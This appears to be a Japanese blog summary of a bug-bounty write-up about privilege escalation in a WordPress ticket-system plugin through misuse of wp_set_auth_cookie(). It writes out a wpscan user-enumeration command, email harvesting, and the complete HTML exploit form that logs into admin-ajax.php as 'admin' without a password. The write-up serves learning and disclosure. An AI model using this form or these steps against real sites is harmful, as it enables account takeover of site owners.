Hello there, ('ω')ノ
特権の昇格を。
脆弱性:
特権の昇格
記事:
https://shahjerry33.medium.com/privilege-escalation-hello-admin-a53ac14fd388
概要 :
今回は、脆弱なプラグインを使用しているWordPressWebサイトで。
特権昇格を見つけた方法を紹介することに。
特権昇格とは、アクセスできないはずの何かにアクセスするための。
特権を取得することを意味して。
攻撃者は、さまざまな特権昇格手法を使用して。
許可されていないリソースにアクセスして。
プラグインが「wp_set_auth_cookie()」と呼ばれる脆弱な関数を使用していたため。
特権の昇格が可能で。
wp_set_auth_cookie()関数とは、認証Cookieの有効期限をフィルタリングして。
接続が安全かどうかも確認して。
また、ログインCookieを保護するためにも使用されて。
認証Cookieが設定される直前に起動して。
構文:
ユーザーIDに基づいて認証Cookieを設定して。
wp_set_auth_cookie( int $user_id, bool $remember=false, bool|string $secure=’’, string $token=‘‘)
説明 :
$Rememberパラメータは、Cookieが保持される時間を増やして。
覚えていない状態でCookieが保持されるデフォルトは2日で。
$Rememberが設定されている場合、Cookieは14日または2週間保持されて。
パラメータ:
$user_id
(int) (必須)ユーザID
$remember
(bool)(オプション)ユーザーを記憶するかどうか
デフォルト値:false
$secure
(bool|string) (オプション)認証CookieをHTTPS経由でのみ送信するかどうか
これは、is_ssl()の値が使用されることを意味して
デフォルト値:''
$token
(string) (オプション)このCookieに使用するユーザーのセッショントークン
デフォルト値:''
Vulnerable Code:
この脆弱性を見つける方法:
1.WordPressCMSを使用しているターゲットWebサイトに移動して。
2.wpscanツールを使用して、古いプラグイン、テーマ、デフォルトの。
クレデンシャルなどを確認して。
My command :
wpscan --url https://target.com --disable-tls-check --enumerate u
--url : URLを渡して
--disable-tls-check : SSL / TLS証明書の検証を無効にして
--enumerate u : ユーザを列挙して
スキャンが完了すると、古くて脆弱なものの結果が得られて。
3.結果、「WP Support Plus Responsive Ticket System」に対して脆弱で。
4.他に見つけたことは、デフォルトのユーザ名で。
5.googleで脆弱性を検索すると。
https://www.exploit-db.com/で、エクスプロイトを見つけて。
https://www.exploit-db.com/exploits/41006
6.エクスプロイトコードを確認すると。
単純なHTMLログインフォームで。
<form method="post" action="http://target.com/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="EMAIL">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
Then go to admin panel.
これを.htmlとして保存し、スクリプトを実行したものの。
その前に、これを悪用するには電子メールが必要であることがわかったので。
「theharvester」ツールで、サイトを列挙して。
4通のメールのうち1通はエクスプロイトを成功させるのに役立って。
https://github.com/laramies/theHarvester
7.ポート80を介してファイルを転送するためのPythonスクリプトを実行すると。
Python -m SimpleHTTPServer 80
8.htmlとして保存したエクスプロイトを実行すると。
管理者へのログインに成功して。
9.パスワードを知らなくても管理者としてログインして。
これは、wp_set_auth_cookie()の誤った使用が原因で発生して。
Best regards, (^^ゞ